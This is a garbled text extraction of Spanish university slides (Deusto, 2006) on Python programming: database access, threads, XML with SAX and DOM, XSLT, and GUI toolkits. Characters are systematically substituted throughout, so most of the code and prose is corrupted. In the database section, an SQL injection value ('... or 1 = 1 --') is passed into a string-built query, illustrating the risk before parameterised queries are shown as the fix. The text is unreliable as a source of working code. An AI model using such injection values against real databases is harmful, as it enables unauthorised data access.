, python a**esodbeventosC^Q-arametros&py RSQCR(CR9S;T 62, A8ursillos de UulioA, ARSQCR(CR9S;TA, 1, A8ursillo -ythonA:
:tro e(e!plo de D;I 4 III

Pero,,, Py la seguridadS Si pone!os
, python a**esodbeventosC^Q-arametros&py "lo>ueseaA or 1 B 1 ((" 62, A8ursillos de UulioA, ARSQCR(CR9S;TA, 1, A8ursillo -ythonA: 61, ATtro eventoA, ATtro lu'arA, 1, A8urso &&&A:
Si lo usa!os as# en Heb por e(e!plo pode!os tener proble!as de seguridad /ecesita!os co!probar %ue los par!etros estn bien
Evitando inyeccin de S]7
Para evitar S]7 In(ection en D;I pasare!os los par!etros a la sentencia exe*ute
dbi&paramstyle nos indica el tipo de par!etros
pyformat 3&unciona en 1yS]7 y S]7ite5
exe*ute(=SRMR8; Z [VTM RPRJ;TS aHRVR MT80MQ`08QTJ B Xs],param
>marL
exe*ute(=SRMR8; Z [VTM RPRJ;TS aHRVR MT80MQ`08QTJ B H],param
,,, 3!irar docu!entacin5
E(e!plo con par!etros 4 I

# db/a**esodbeventosC^Q-arametros&py #9na de las dos si'uientes: import s>lite as dbi #import MySFMdb as dbi import time, sys def exe*uteSFM8ommand(*ursor, *ommand,:ar(s : ro%Set B 6: *ommand B *ommand&strip( if len(*ommand : try: *ursor&exe*ute(*ommand,:ar(s # RNe*uta el *omando if *ommand&lo%er( &starts%ith(Asele*tA : # si es sele*t lines B *ursor&fet*hall( # re*uperar todos los resultados for line in lines: ro% B 6: for *olumn in line: ro%&append(*olumn ro%Set&append(ro% ex*ept dbi&-ro'rammin'Rrror, e: print e sys&exit( return ro%Setm&ra part& igual.
E(e!plo con par!etros 4 II
if KKnameKK BB AKKmainKKA: if len(sys&ar'v !B !: print << sys&stderr, "9sa'e: python Xs MT80MQ`08QTJ" X sys&ar'v62: sys&exit(1 dbBdbi&*onne*t(hostB]lo*alhost],userB]deusto],pass%dB]deusto],dbB"deusto" *ursor B db&*ursor( exe*uteSFM8ommand(*ursor, "update eventos set fe*haB" + str(time&time( Z1222 ro"Set = executeSQL2ommand(cursor! select : from );)5<1S "here L12AL34A2315 = 0s !sys.ar(+698) for ro% in ro%Set: print ro% del *ursor
Progra!acin de siste!as
Python per!ite la progra!acin de siste!a tanto accediendo a la +PI de Hindo2s 3 http-00222,python,org02indo2s0inde.,ht!l5 co!o a las lla!adas al siste!a de U/I< 3!dulo os5 El !dulo os nos da acceso a
El entorno del proceso- 'et*%d( 'et'id( 'etpid( Creacin de &icheros y descriptores- *lose( dup( dup!( fstat( open( pipe( stat( , so*Let( =estin de procesos- exe*le( exe*v( Lill( forL( system( =estin de !e!oria mmap( En la docu!entacin del !dulo viene la disponibilidad de la &uncin en di&erentes siste!as
El !dulo thread y threadin' per!ite la creacin de threads en Python
=estin de @ilos 4 I
7an$ando hilos con threadprint =hola mundo desde otro hilo, Xs] X nombre
import thread def f(nombre : numero B thread&startKne%Kthread(f,(AholaA, ar'umentos #autom@ti*amente se habr@ lanYado #fun*ion, tupla *on
1s tarde naci el !dulo threadin' con una gestin de !s alto nivel
=estin de @ilos 4 II
threadin'

1s si!ilar a Java Incluye !e(ores siste!as de sincroni$acin
from threadin' import Z *lass MiHilo(;hread : def KKinitKK(self,nombre : ;hread&KKinitKK(self self&nombre B nombre def run(self : print =Hola Xs],self&nombre m B MiHilo(='ente] m&start(
=estin de @ilos 4 III
Sincroni$acin bsica en threadin'
l B threadin'&Mo*L( l&a*>uire( #8uando un hilo entra en a*>uire( , el resto de hilos >ue llamen al a*>uire del #mismo lo*L se >uedan blo>ueados, hasta >ue al'uien llame a release l&release( (threadin'/eNemplo(sin*roniYa*ion&py
dir(threadin' - Mo*L 8ondition Rvent Semaphore,,,

PPor %u usar <17S
Un docu!ento <17 puede ser &cil!ente procesado y sus datos !anipulados E.isten +PIs para procesar esos docu!entos en Java C CGG Perl,, 3y por supuesto Python5 <17 de&ine datos portables al igual %ue Java de&ine cdigo portable
Co!ponentes docu!ento <17
7os docu!entos <17 constan de
Instrucciones de procesa!iento 3processing instructions ' PI5 Declaraciones de tipo de docu!ento Co!entarios Ele!entos >e&erencias a entidades Secciones CD+6+
E(e!plo Docu!ento <17

\Hxml versionB"1&2"H< \!CT8;W-R mensaNe SWS;RM =lab'roups&dtd"< \labK'roup< \studentKname dniB=..3124!/"< Uosu 0rtaYa \/studentKname< \studentKname dniB=..4./!11"< Juria ûrua'a \/studentKname< \studentKname dniB=!/44.4!1" tutorB=//.43!11"< Qn'a Corsman \/studentKname< \/labK'roup<
<17 Parsing
Documento XML Parser XML XML DTD XML Schema Aplicacin XML
<17 Parsing 3cont5
S+<
De&ine inter&a$ dirigido por eventos 3event4 driven5 para el procesa!iento de un docu!ento <17 De&inido por David 1egginson y lista correo <174DEK - http-00 222,!egginson,co!0S+<
D:1

Provee una representacin de un docu!ento <17 en &or!a de un rbol Carga todo el docu!ento <17 en !e!oria http-00222,2^,org0D:1
Si!ple +PI &or <17- S+<
De&ine un inter&a$ co!Fn i!ple!entado por !uchos <17 Parsers Es el estndar de4&acto para procesa!iento de <17 basado en eventos S+< no es un parseador de <17 S+<T aade soporte para <17 /a!espaces 7a especi&icacin de S+< T,M0Java est enhttp-00 2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto 222,!egginson,co!0S+<0Java0inde.,ht!
Caracter#sticas de S+<
+nali$ador o parser S+<
7as aplicaciones necesitan i!ple!entar !ane(adores de los eventos noti&icados S+< lee secuencial!ente de principio a &in sin cargar todo el docu!ento en !e!oria Ventaja: e&iciencia en cuanto al tie!po y la !e!oria e!pleados en el anlisis Desventaja: no dispone!os de la estructura en rbol de los docu!entos
Detecta cundo e!pie$a y ter!ina un ele!ento o el docu!ento o un con(unto de caracteres etc, 3genera eventos5 =estiona los espacios de no!bres Co!prueba %ue el docu!ento est bien &or!ado
PC!o &unciona S+<S

XML Document
<?xml version=1.0?> <addressbook> <person> <name>Diego Ipi a</name> <email>dipina@deusto.es</email> </person> <person> <name>Asier Perallos</name> <email>perallos@deusto.es</email> </person> 2006 Pablo Ordua, Arkaitz Ruiz </addressbook>
SAX Objects Parser Parser Parser Parser Parser Parser Parser Parser Parser Parser startDocument startElement startElement & characters startElement & characters endElement startElement startElement & characters startElement & characters endElement
endElement & endDocument
Progra!acin en <17 con S+<
Soporte para S+< en Python es o&recido por el !dulo xml&sax de la Python 7ibrary De&ine T !todos
maLeKparser(6parser_list:
Crea y devuelve un ob(eto S0b bMMVeader
parse(filename_or_stream, handler6, error_handler:
Crea un parser S+< y lo usa para procesar el docu!ento a travs de un handler
El !dulo xml&sax&xmlreader de&ine readers para S+< El !dulo xml&sax&handler de&ine !ane(adores de eventos para S+<startCo*ument endCo*ument starRlement 2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto endRlement
E(e!plo procesa!iento S+< I

# xml/Rlement8ounterS0b&py # RNe*utar: python Rlement8ounterS0b&py 8artelera&xml import sys from xml&sax import maLeKparser, handler *lass Rlement8ounter(handler&8ontentHandler : def KKinitKK(self : self&Kelems B 2 self&Kattrs B 2 self&KelemKtypes B "$ self&KattrKtypes B "$ def startRlement(self, name, attrs : self&Kelems B self&Kelems + 1 self&Kattrs B self&Kattrs + len(attrs self&KelemKtypes6name: B self&KelemKtypes&'et(name, 2 + 1 for name in attrs&Leys( : self&KattrKtypes6name: B self&KattrKtypes&'et(name, 2 + 1
E(e!plo procesa!iento S+< II

def endCo*ument(self : print ";here %ere", self&Kelems, "elements&" print ";here %ere", self&Kattrs, "attributes&" print "(((RMRMRJ; ;W-RS" for pair in self&KelemKtypes&items( : print "X!2s Xd" X pair print "(((0;;VQ^9;R ;W-RS" for pair in self&KattrKtypes&items( : print "X!2s Xd" X pair parser B maLeKparser( parser&set8ontentHandler(Rlement8ounter( parser&parse(sys&ar'v61:
H^C Docu!ent :b(ect 1odel 3D:15
Docu!entos <17 son tratados co!o un rbol de nodos Cada ele!ento es un 8nodo9 7os ele!entos hi(os y el te.to contenido dentro de un ele!ento son subnodos H^C D:1 Sitehttp-00222,2^,org0D:10
Caracter#sticas D:1
Docu!ento se carga total!ente en !e!oria en una estructura de rbol Ventaja: &cil acceder a datos en &uncin de la (erar%u#a de ele!entos as# co!o !odi&icar el contenido de los docu!entos e incluso crearlos desde cero, Desventaja: coste en tie!po y !e!oria %ue conlleva construir el rbol
H^C <17 D:1 :b(ects

Element ' un ele!ento <17 Attribute ' un attributo Text ' te.to contenido en un ele!ento o atributo CDATAsection ' seccin CD+6+ EntityReference ' >e&erencia a una entidad Entity ' Indicacin de una entidad <17 ProcessingInstruction ' Una instruccin de procesa!iento Comment ' Contenido de un co!entario de <17 Document ' El ob(eto docu!ento DocumentType ' >e&erencia al ele!ento D:C6OPE DocumentFragment ' >e&erencia a &rag!ento de docu!ento otation ' Contenedor de una anotacin
:b(etos relacionados con /odos
5ode ' un nodo en el rbol de un docu!ento 5odeList ' una lista de ob(etos nodos 5amed5odeMap ' per!ite interaccin y acceso por no!bre a una coleccin de atributos
Docu!ento <17 co!o `rbol de /odos

\Hxml versionB"1&2" en*odin'B"iso(554c(1"H< \-eli*ulas< \-eli*ula *odi'oBA1A tituloBAMo >ue el viento se llevDA dire*torBAPi*tor [lemin'A a*toresBA8larL 7able, Pivien Mei'h, Meslie Ho%ardA/< \-eli*ula *odi'oBA!A tituloBAMos TtrosA dire*torBA0leNandro 0menabarA a*toresBAJi*ole _idmanA/< \-eli*ula *odi'oB"4" tituloB"Malena" dire*torB"7iuseppe ;ornatore" a*toresB"Moni*a êllu**i, 7iuseppe Sulfaro"/< \/-eli*ulas<
Docu!ento <17 co!o `rbol de /odos

Root
Pelculas
Pelcula
...
Pelcula
codigo=1
titulo=Lo que el viento se llev
codigo=5
titulo=Malena
diirector=Victor Fleming
actores=Clark Gable, Vivien Leigh, Leslie Howard
diirector=Giuseppe Tornatore
actores=Monica Bellucci, Giuseppe Sulfaro
Procesando <17 con D:1
Python provee el !dulo xml&dom&minidom %ue es una i!ple!entacin sencilla de D:1 El !todo parse a partir de un &ichero crea un ob(eto D:1 el cual tiene todos los !todos y atributos estndar de D:1- has8hildJodes( *hildJodes 'etRlements^y;a'Jame( Para !s in&or!acin sobre procesa!iento <17 en Python ir a- http-00 py.!l,source&orge,net0topics0
El !dulo Py<17 %ue no viene en la distribucin por de&ecto de Python per!ite procesa!iento un poco !s so&isticado
http-00py.!l,source&orge,net0topics0
E(e!plo D:1 I
# xml/eNemploCTM&py # RNe*utar: python eNemploCTM&py 8artelera&xml #!/usr/bin/env python import xml&dom&minidom, sys *lass -eli*ula: def KKinitKK(self, *odi'o, titulo, dire*tor, a*tores : self&*odi'o B *odi'o self&titulo B titulo self&dire*tor B dire*tor self&a*tores B a*tores def KKreprKK(self : return "8odi'o: " + str(self&*odi'o + " ( titulo: " + self&titulo + " ( dire*tor: " + self&dire*tor + " ( a*tores: " + self&a*tores *lass -eli*ulaCTM-arser: def KKinitKK(self, filename : self&dom B xml&dom&minidom&parse(filename self&peli*ulas B 6:
E(e!plo D:1 II
def 'et-eli*ulas(self : if not self&peli*ulas: peli*ulaJodes B self&dom&'etRlements^y;a'Jame("-eli*ula" num-elis B len(peli*ulaJodes for i in ran'e(num-elis : peli*ula B peli*ulaJodes&item(i # Ve*uperar los attributes de *ada nodo -eli*ula peli0ttribs B peli*ula&attributes *odi'o B peli0ttribs&'etJamedQtem("*odi'o" &nodePalue titulo B peli0ttribs&'etJamedQtem("titulo" &nodePalue dire*tor B peli0ttribs&'etJamedQtem("dire*tor" &nodePalue a*tores B peli0ttribs&'etJamedQtem("a*tores" &nodePalue self&peli*ulas&append(-eli*ula(*odi'o,titulo,dire*tor,a*tores return self&peli*ulas if KKnameKK BB AKKmainKKA: dom-arser B -eli*ulaCTM-arser(sys&ar'v61: for peli in dom-arser&'et-eli*ulas( : print peli
E.tensible Style 7anguage 6rans&or!ations 3<S765 I
Con la diversidad de lengua(es de presentacin %ue hay 3H17 @617 c@6175 e.isten dos alternativas para desarrollar las aplicaciones
Desarrollar versiones de los procesos de generacin de presentacin 3JSP +SP C=I ,,5 para cada lengua(e, Desarrollar solo una versin %ue genere <17 y conversores de <17 a los lengua(es de presentacin,
E.tensible Style 7anguage 6rans&or!ations 3<S765 II
Dos partes
6rans&or!ation 7anguage 3<S765 "or!atting 7anguage 3<S7 "or!atting :b(ects5
<S76 trans&or!a un docu!ento <17 en otro docu!ento <17 <S7": &or!atea y estili$a docu!entos en varios !odos <S76 H^C >eco!!endation 4 http-00222,2^,org06>0.slt
:peraciones entre rboles en <S7
Kenta(as y desventa(as de <S76
Kenta(as
/o asu!e un Fnico &or!ato de salida de docu!entos Per!ite !anipular de !uy diversas !aneras un docu!ento <17- reordenar ele!entos &iltrar aadir borrar etc, Per!ite acceder a todo el docu!ento <17 <S76 es un lengua(e <17 Su utili$acin es !s co!ple(a %ue un lengua(e de progra!acin convencional Consu!e cierta !e!oria y capacidad de proceso D:1 detrs
Desventa(as
Usando ho(as de estilo <S76
Para crear una trans&or!acin <S7 necesita!os
El docu!ento <17 a trans&or!ar 3students&xml5 7a ho(a de estilo %ue especi&ica la trans&or!acin 3students&xsl5
Docu!ento <17 3students,.!l5

\Hxml versionB"1&2"H< \*ourse< \name idB"*s*iK!c3!"<-ro'rammin' bMM in Uava\/name< \tea*her idB=di"<Cie'o Qpida\/tea*her< \student idB=ua"< \name<9sue 0rtaYa\/name< \h%1</2\/h%1< \h%!<12\/h%!< \proNe*t<52\/proNe*t< \final<54\/final< \/student< \student idB=iu"< \name<Qdi'o 9rrutia\/name< \h%1<52\/h%1< \h%!<c2\/h%!< \proNe*t<122\/proNe*t< \final<.2\/final< \/student< \/*ourse<
@o(a de estilo <S76 3students,.sl5

\Hxml versionB"1&2"H< \xsl:stylesheet versionB"1&2= xmlns:xslB"http://%%%&%/&or'/1ccc/bSM/;ransform"< \xsl:template mat*hB"*ourse"< \H;MM< \HR0C<\;Q;MR<Jame of students\/;Q;MR<\/HR0C< \^TCW< \xsl:apply(templates sele*tB"student"/< \/^TCW< \/H;MM< \/xsl:template< \xsl:template mat*hB"student"< \-<\xsl:value(of sele*tB"name"/<\/-< \/xsl:template< \/xsl:stylesheet<
>esultado de trans&or!acin
3students,ht!l5
\H;MM< \HR0C< \;Q;MR<Jame of students\/;Q;MR< \/HR0C< \^TCW< \-<9sue 0rtaYa\/-< \-<Qdi'o 9rrutia\/-< \/^TCW< \/H;MM<
<S76 en Python
@erra!ientas para procesa!iento <S76 tools en Python
http-00uche,ogbu(i,net0tech0aIara0nodes0TMM^4M[4M[0 python4.slt
En la siguiente url pode!os encontrar adaptaciones Python de las librer#as de la toolIit =no!e en C 7ib.!l y 7ib.slt
http-00.!lso&t,org0python,ht!l 37inu.5 http-00users,sIynet,be0sbi0lib.!l4python0 3Hindo2s5 El e(e!plo en la siguiente pgina ilustra el uso de esta librer#a
E(e!plo <S76
# Qnstalar fi*hero lib.!lT4python4T,L,[L,2in^T4pyT,U,e.e N E(ecutarpython .slte.a!ple,py Cartelera,.!l Cartelera,.sl trans&or!,ht!l import libxml! import libxslt import sys if len(sys&ar'v !B .: print A9sa'e: python xsltexample \xml(file< \xslt(file< \output(file<A sys&exit(2 else: styledo* B libxml!&parse[ile(sys&ar'v6!: style B libxslt&parseStylesheetCo*(styledo* do* B libxml!&parse[ile(sys&ar'v61: result B style&applyStylesheet(do*, Jone style&saveVesult;o[ilename(sys&ar'v6/:, result, 2 style&freeStylesheet( do*&freeCo*( result&freeCo*( 2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto
E(e!plo <17 3Cartelera,.!l5

\Hxml versionB"1&2" en*odin'B"iso(554c(1"H< \8artelera< \8ine *odi'oBA1A nombreBA8oliseo UavaA dire**ionBA0vda& 0baroA pobla*ionBA-ortu'aleteA< \-eli*ula *odi'oBA1A tituloBAMo >ue el viento se llevoA dire*torBASantia'o Se'uraA a*toresBAô CereL, 0l -a*ino, Vobert VefordA< \Sesion<13:22\/Sesion< \Sesion<1c:/2\/Sesion< \Sesion<!!:22\/Sesion< \/-eli*ula< \-eli*ula *odi'oBA!A tituloBAMos TtrosA dire*torBA0leNandro 0menabarA a*toresBAJi*ole _idmanA< \Sesion<13:/2\/Sesion< \Sesion<1c:.4\/Sesion< \Sesion<!!:/2\/Sesion< \/-eli*ula< \/8ine< &&& 2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto \/8artelera<
E(e!plo <S7 3Cartelera,.sl5

\Hxml versionB"1&2" en*odin'B"iso(554c(1"H< \xsl:stylesheet xmlns:xslBhttp://%%%&%/&or'/1ccc/bSM/;ransform versionB"1&2"< \xsl:output methodB"html"/< \xsl:template mat*hB"/"< \html< \head< \style typeB"text/*ss"< table "font(family: arial, Asans serifA# mar'in(left: 14pt#$ th,td "font(siYe: 52X#$ th "ba*L'round(*olor:#[0R^C1$ \/style< \/head< \body< \table borderB"1"< \xsl:apply(templates/< \/table< \/body< \/html< 2006 Pablo Ordua, Arkaitz Ruiz e-ghost ESIDE Universidad de Deusto \/xsl:template<

\xsl:template mat*hB"8artelera"< \xsl:for(ea*h sele*tB"8ine"< \tr< \th<\xsl:text<8ine\/xsl:text<\/th< \th<\xsl:text<Cire**iDn\/xsl:text<\/th< \th<\xsl:text<-obla*iDn\/xsl:text<\/th< \th<\/th< \/tr< \tr< \td<\xsl:value(of sele*tB"&/)nombre"/<\/td< \td<\xsl:value(of sele*tB"&/)dire**ion"/<\/td< \td<\xsl:value(of sele*tB"&/)pobla*ion"/<\/td< \td<\xsl:text<\/xsl:text<\/td< \/tr<
\xsl:for(ea*h sele*tB"-eli*ula=< \tr< \th<\/th< \th<\xsl:text<-el?*ula\/xsl:text<\/th< \th<\xsl:text<Cire*tor\/xsl:text<\/th< \th<\xsl:text<0*tores\/xsl:text<\/th< \/tr< \tr< \td<\xsl:text<\/xsl:text<\/td< \td<\xsl:value(of sele*tB"&/)titulo"/<\/td< \td<\xsl:value(of sele*tB"&/)dire*tor"/<\/td< \td<\xsl:value(of sele*tB"&/)a*tores"/<\/td< \/tr<

\tr< \th<\/th< \th<\/th< \th<\xsl:text<SesiDn\/xsl:text<\/th< \th<\xsl:text<Hora\/xsl:text<\/th< \/tr< \xsl:for(ea*h sele*tB"Sesion"< \tr< \td<\xsl:text<\/xsl:text<\/td< \td<\xsl:text<\/xsl:text<\/td< \td<\xsl:value(of sele*tB"position( "/<\/td< \td<\xsl:value(of sele*tB"&"/<\/td< \/tr< \/xsl:for(ea*h< \/xsl:for(ea*h< \/xsl:for(ea*h< \/xsl:template< \/xsl:stylesheet<
>esultado <S7 parsing
Progra!acin de =UIs I
6Iinter es la =UI toolIit %ue por de&ecto viene con Python 3http-00222,python,org0doc0current0lib0!odule4 6Iinter,ht!l5
;asada en 6I %ue e!pe$ siendo una librer#a para el lengua(e 6cl y !Fltiples lengua(es ahora tienen bindings Es lenta pero su uso es !uy sencillo
E.isten otras toolIits para generacin de =UIs 2.Python 3http-00222,2.python,org05
+pariencia nativa basado en 2.Hidgets 3!ultipla&or!a5 !uy rpida
Python2in 3 http-00222,python,org02indo2s0python2in05
Sola!ente para Hindo2s usa directa!ente la +PI de Hindo2s
Py=6a 3http-00222,pygtI,org05 Py]t 3http-00222,riverbanIco!puting,co,uI0py%t05

=UIs en Python 4 I
6ene!os diversas librer#as de 2idgets disponibles desde Python
;Linter axaid'ets -y7;_ -yF; -ython%in ,,,
6Iinter
Kiene por de&ecto en el instalador de Python 1ultiplata&or!a 37in Hin 1ac5

En Hindo2s la apariencia no es !ala En =/U07inu. no est enci!a de ]6 o =6a sino dircta!ente enci!a de las < por lo %ue el resultado de(a %ue desear
"cil de progra!ar
E(e!plo 6Iinter I
# 'ui/tL/tLinter%at*h&py from ;Linter import Z import time, sys *lass Stopaat*h([rame : """ Qmplements a stop %at*h frame %id'et& """ def KKinitKK(self, parentBJone, ZZL% : [rame&KKinitKK(self, parent, L% self&Kstart B 2&2 self&Kelapsedtime B 2&2 self&Krunnin' B 2 self&timestr B Strin'Par( self&maLeaid'ets( def maLeaid'ets(self : """ MaLe the time label& """ l B Mabel(self, textvariableBself&timestr self&Kset;ime(self&Kelapsedtime l&pa*L(fillBb, expandBJT, padyB!, padxB! def Kupdate(self : """ 9pdate the label %ith elapsed time& """ self&Kelapsedtime B time&time( ( self&Kstart self&Kset;ime(self&Kelapsedtime self&Ktimer B self&after(42, self&Kupdate def Kset;ime(self, elap : """ Set the time strin' to Minutes:Se*onds:Hundreths """ minutes B int(elap/32 se*onds B int(elap ( minutesZ32&2 hse*onds B int((elap ( minutesZ32&2 ( se*onds Z122 self&timestr&set(AX2!d:X2!d:X2!dA X (minutes, se*onds, hse*onds
E(e!plo 6Iinter II
def Start(self : """ Start the stop%at*h, i'nore if runnin'& """ if not self&Krunnin': self&Kstart B time&time( ( self&Kelapsedtime self&Kupdate( self&Krunnin' B 1 def Stop(self : """ Stop the stop%at*h, i'nore if stopped& """ if self&Krunnin': self&afterK*an*el(self&Ktimer self&Kelapsedtime B time&time( ( self&Kstart self&Kset;ime(self&Kelapsedtime self&Krunnin' B 2 def Veset(self : """ Veset the stop%at*h& """ self&Kstart B time&time( self&Kelapsedtime B 2&2 self&Kset;ime(self&Kelapsedtime if KKnameKK BB AKKmainKKA: root B ;L( s% B Stopaat*h(root s%&pa*L(sideB;Tûtton(root, textBAStartA, *ommandBs%&Start &pa*L(sideBMR[; ûtton(root, textBAStopA, *ommandBs%&Stop &pa*L(sideBMR[; ûtton(root, textBAVesetA, *ommandBs%&Veset &pa*L(sideBMR[; ûtton(root, textBAFuitA, *ommandBsys&exit(2 &pa*L(sideBMR[; root&mainloop(
2.Python I
;asado en %xaid'ets toolIit 1a.i!i$a la portabilidad Hindo2s U/I< 1ac :S PocIetPC,,, 7ooI and &eel nativo de cada plata&or!a Pode!os crear los 2idgets gr&ica!ente con %x7lade + veces se critica %ue el %ue tenga looI and live nativo en cada plata&or!a i!plica %ue sea un subcon(unto de todas ellas
2.Python II
En 2.Python todas las clases estn de&inidas dentro del !dulo %x Para crear una aplicacin en 2.Python hay %ue crear una clase %ue deriva de %x&0pp y sobreescribe el !todo TnQnit 6oda aplicacin est &or!ada al !enos de un [rame o un Cialo' 7os !arcos pueden contener otros paneles barras de !enFs y herra!ientas 3Menuâr y ;oolâr 5 y l#nea de estado 3Statusâr5
2.Python III
7os !arcos y dilogos contienen controles- ûtton 8he*Lôx 8hoi*e Mistôx Vadioôx y Slider ,,, E.isten dilogos prede&inidosMessa'eCialo' o [ileCialo' + travs del progra!a %x-ythonOdemoOdemo&py se pueden ver de!os
Kienen aco!paadas de cdigo &uente

E(e!plo 2.Python I
#!/usr/bin/env python # 'ui/2.PythonSe!anaESIDE,py KKauthorKK B "Cie'o Qpida \dipina)eside&deusto&es<" import %x *lass [rame(%x&[rame : """8lase frame >ue visualiYa una ima'en&""" def KKinitKK(self, ima'e, parentBJone, idB(1, posB%x&Cefault-osition, titleBAIHola, semaneros RSQCR!A : """8rea un [rame y visualiYa ima'en&""" temp B ima'e&8onvert;oîtmap( siYe B temp&7etaidth( , temp&7etHei'ht( %x&[rame&KKinitKK(self, parent, id, title, pos, siYe self&bmp B %x&Stati*îtmap(parentBself, idB(1, bitmapBtemp
E(e!plo 2.Python II
*lass 0pp(%x&0pp : """8lase apli*a*iDn&""= def KKinitKK(self : %x&0pp&KKinitKK(self def TnQnit(self : %x&Qnit0llQma'eHandlers( ima'e B %x&Qma'e(Asemanaeside&Np'A, %x&^Q;M0-K;W-RKU-R7 self&frame B [rame(ima'e self&frame&Sho%( self&Set;opaindo%(self&frame return ;rue def main( : app B 0pp( app&MainMoop( if KKnameKK BB AKKmainKKA: main(
2.=lade
/o sie!pre es necesario 3o conveniente5 crear de !anera progra!tica las inter&aces en %x-ython,
@ay herra!ientas %ue nos ayudarn a generar el cdigo %x-ython correspondiente
2.=lade 3http-002.glade,source&orge,net05
Py=6a

;asada en las populares =6aG 1ultiplata&or!a
/ativa!ente en =/U07inu. se integra bien en Hindo2s &unciona en 1ac :S
7ibrer#a !uy co!pleta @erra!ienta =lade para disear los inter&aces de !anera gr&ica
Progra!ando con Py=6a 4 I
De!o
py'tL(demo&py
En Ubuntu Dapper pa%uete python!&.('tL

, python /usr/share/do*/python!&.('tL!/examples/py'tL( demo&py
/os !uestra una de!o de los controles bsicos c!o usarlos y el cdigo correspondiente
Progra!ando en Py=6a 4 II

El bucle de eventos En 7;_+ tendre!os %ue
7la!ar a 'tLKinit
Despus iniciali$a!os todos los 2idgets El progra!a se %ueda blo%ueado en este punto 7e lla!are!os desde un evento al ter!inar el evento saldre!os de la &uncin 'tLKmain
7la!ar a 'tLKmain
7la!ar a 'tLKmainK>uit
Progra!ando en Py=6a 4 III
PseudocdigomiK*allba*L: 'tLKmainK>uit( 'tLKinit( *rearPentana-rin*ipal( adadiraid'ets0MaPentana( adadir8allba*L0l8errarPentana(miK*allba*L 'tLKmain(
Progra!ando en Py=6a 4 IK
En Py=6a no hace &alta lla!ar a 'tLKinit est i!pl#cito al i!portar 'tL El !dulo 'tL tiene los !todos
'tL&main35 'tL&mainKloop35
Progra!ando en Py=6a 4 K
#'ui/'tL/'tL1&py import 'tL def metodo(Zar's : print "Rntro en 'tL&mainK>uit" 'tL&mainK>uit( print "Sal'o de 'tL&mainK>uit" %in B 'tL&aindo%( %in&*onne*t("deleteKevent",metodo %in&sho%( print "Rntro en 'tL&main" 'tL&main( print "Sal'o de 'tL&main"
Progra!ando en Py=6a 4 KI
Creando ventanas- 'tL&aindo%
% B 'tL&aindo%(

%&fulls*reen( %&maximiYe( %&i*onify( %&dei*onify( %&setKtitle(=titulo]
#fulls*reen #maximiYa #minimiYa #restaura #t?tulo
Progra!ando en Py=6a 4 KII
Pode!os aadir un 2idget a la ventana
Mabel, ûtton, Rntry,,,
#'tL!&py import 'tL
def metodo(Zar's : 'tL&mainK>uit(
%in B 'tL&aindo%( %in&setKtitle("Ttra ventana" l B 'tL&Mabel("Hola mundo" %in&add(l %in&sho%Kall( %in&*onne*t("deleteKevent",metodo
'tL&main(
Progra!ando en Py=6a 4 KIII
Slo pode!os aadir un 2idget a la ventana
Para aadir varios 2idgets necesita!os boxes %ue agrupan varios 2idgets
Pôx vertical!ente Hôx hori$ontal!ente ;able para una tabla de 2idgets
Ker 'tL/&py
Progra!ando en Py=6a 4 I<
Eventos
Para conectar una &uncin a un evento utili$are!oselK%id'et&*onne*t(AnombreKeventoA,fun*ion
Eventos co!unes
aindo%- deleteKevent- +l cerrar ventana Rntry- a*tivate- +l pulsar intro en un entry ûtton- *li*Led- +l pulsar el botn
Ker 'tL.&py
Progra!ando en Py=6a 4 <
I!genes- 'tL&Qma'e
import 'tL
def salir(Zar's : 'tL&mainK>uit(
% B 'tL&aindo%( %&*onne*t(AdeleteKeventA,salir im' B 'tL&Qma'e( im'&setKfromKfile("'host&Np'" %&add(im' %&sho%Kall(
'tL&main(
Progra!ando en Py=6a 4 <I
Utili$ando 7C_
7C_ es el 7raphi*al Cevelopment _it %ue nos per!itir llevar a cabo !uchas !s cosas
Slo hay %ue echar un vista$o a la docu!entacin al espacio de no!bres 7C_ para ver la cantidad de posibilidades %ue nos da
Creando un rea para dibu(ar'tL&dra%in'Karea tiene varios eventos heredados de 'tL&aid'et co!o *onfi'ureKevent- es lla!ado cuando se !odi&ica el ta!ao del Hidget exposeKevent- es lla!ado cuando se tiene %ue redibu(ar al !enos una parte del 2idget Ker ima'enes/ima'enes.&py
Progra!ando en Py=6a 4 <II
Un 2idget !uy usado es el ;reePie%

Per!ite !ostrar listas de datos Per!ite ade!s !ostrar rboles
El ;reePie% slo se encarga de lo %ue es el 2idget %ue se ve no del contenido del !is!o Para el contenido debe utili$ar un 'tL&;reeModel co!o MistStore 3para listas5 o ;reeStore 3para rboles5
Ker treevie%s/lista&py y treevie%s/arbol&py
=lade 4 I
Progra!ar lo anterior est bien
En !o!entos en los %ue necesite!os generar din!ica!ente 2idgets +prender y entender c!o &unciona -y7;_ Cansar >esultar di&icil +adir cdigo innecesario al progra!a
Sin e!bargo puede
=lade 4 II
Para evitarlo est =lade

@erra!ienta interactiva para diseo de =UIs con 7;_+ y 7nome =uarda en un &'lade 3<175 el diseo del inter&a$ gr&ico del progra!a /uestra aplicacin din!ica!ente cargar el ,glade y generar los 2idgets Si %uere!os acceder a un 2idget concretomiK'lade&'etK%id'et(=nombreK%id'et] +de!s per!ite !ane(ar seales de !anera %ue pode!os asignar a %u &unciones se lla!ar para capturar %u sealAha'oK*li*LA:fun*ionKha'oK*li*L, AsalirA:fun*ionKsalir $
miK'lade&si'nalKauto*onne*t("
Ker 'lade/'lade1&py
1s sobre el lengua(e
Casi todo lo visto hasta ahora han sido 0-Qs y !s 0-Qs %ue a veces poco tienen %ue ver con -ython y hay %ue buscar docu!entacin en MySFM a/8 etc, En lo %ue %ueda nos centrare!os en otras caracter#sticas %ue no he!os visto del lengua(e
En esta parte hay e.plicaciones %ue estn slo en los e(e!plos 3no cabe en las transpas5 y viceversa- ten a !ano los e(e!plos A45
Docu!entacin en Python 4 I
Para co!entar cdigo basta con poner ##variable es un eNemplo de variable variableB4 #a>u? lo >ue ha*emos es sumar 12 a la variable variable +B 12
def fun*ion( :
Estos co!entarios slo los ve el %ue lea el cdigo /o se guarda en los .pyc 3al hacer import
nombreKmodulo se genera el &py*5
/o son accesibles desde &uera de la &uncin
Docu!entacin en Python 4 II
Para docu!entar &unciones hay %ue poner un strin' (usto deba(o del pa%uete !dulo clase o &uncin
